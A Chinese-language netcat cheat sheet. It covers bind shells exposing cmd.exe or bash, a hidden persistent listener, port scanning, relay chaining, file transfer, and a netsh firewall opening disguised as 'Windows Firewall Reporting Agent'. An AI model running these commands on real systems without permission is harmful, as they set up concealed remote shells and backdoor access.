NC 在客戶端 和 服務器執行
---------------------------------------------------------------------------------------------------------------------------------------------------
執行命令 -l 表示在服務器端啟用監聽模式
-p 指定監聽的端口
-e 指定允許遠程客戶端訪問監聽端口時執行的程序
例如:
在遠程服務器端執行 NC -l -p 12345 -e cmd.exe //表示在(windows)服務器監聽12345端口,如果遠程客戶端訪問12345端口將會將本地cmd.exe反 彈給客戶端執行。
nc -l -p 12345 -e /bin/bash //在(linux)服務器監聽12345端口,如果遠程客戶端訪問12345端口會將本地bash反彈給客戶端執行。
在本地客戶端執行 nc 服務器ip 12345 // 連接服務器的12345端口,如果服務器端指定連接時執行的程序,會將服務器端的cmd.exe等反彈給客戶端。
---------------------------------------------------------------------------------------------------------------------------------------------------
其他命令
-d隱藏服務在后台運行
nc -l -p 12345 -e cmd.exe -d //隱藏窗口服務后台運行
0.71版本 -d 2 設置延遲2秒后執行命令
-L不斷打開nc進程,不斷開隨時連接
nc -l -p 12345 -e cmd.exe -d -L
-k 服務器端允許多個客戶端連接數
-n 不做域名解析
-v/-vv 顯示詳細信息
-z syn掃描 -r隨機端口 -i 設置延遲掃描
nc -v 192.168.113.1 21,80,443
nc -v 192.168.113.1 1-200
nc -v 192.168.113.1 http
輸出重定向
nc -l -p 12345 > test //輸出到test
>> //追加到不覆蓋原有內容
-u 使用udp模式
---------------------------------------------------------------------------------------------------------------------------------------------------
可以交互聊天
nc -n -l -u -p 53
nc -n -u ip 53
--------------------------------------------------------------------------------------------------------------------------------------------------
文件傳輸
遠程服務端 nc -l -p 12345 < test.txt //遠程服務器端執行,將服務器端test.txt發送給客戶機
本地客戶機 nc ip 12345 > test.txt //客戶端執行,連接服務器獲取test.txt
本地做服務器 nc -l -p 12345 > test.txt
遠程客戶機 nc ip 12345 < test.txt
-w 2 傳輸完成后2秒后斷開
-o test 抓包保存至test
---------------------------------------------------------------------------------------------------------------------------------------------------
獲取信息,下載
nc ip 22 //獲取某ip的ssh服務信息
nc 域名 port
GET / HTTP/1.0
HEAD / HTTP/1.0 獲取服務信息 兩次回車
---------------------------------------------------------------------------------------------------------------------------------------------------
跳板
A主機 nc b_ip 33333 //第三步連接b主機33333端口相當於訪問c主機55555端口
B主機 nc -l -p 33333 | nc c_ip 55555 //第二步B主機連接C主機55555端口並通過管道轉至本機通過33333端口監聽
C主機 nc -l -p 55555 //第一步在C主機監聽55555端口
----------------------------------------------------------------------------------------------------------------------------------------------------
netsh firewall show opmode 顯示防火牆工作模式
netsh firewall set opmode mode = enable exceptions =enable profile =all
netsh firewall add portopening tcp 1234 "Windows Firewall Reporting Agent" enable all
netsh firewall show portopening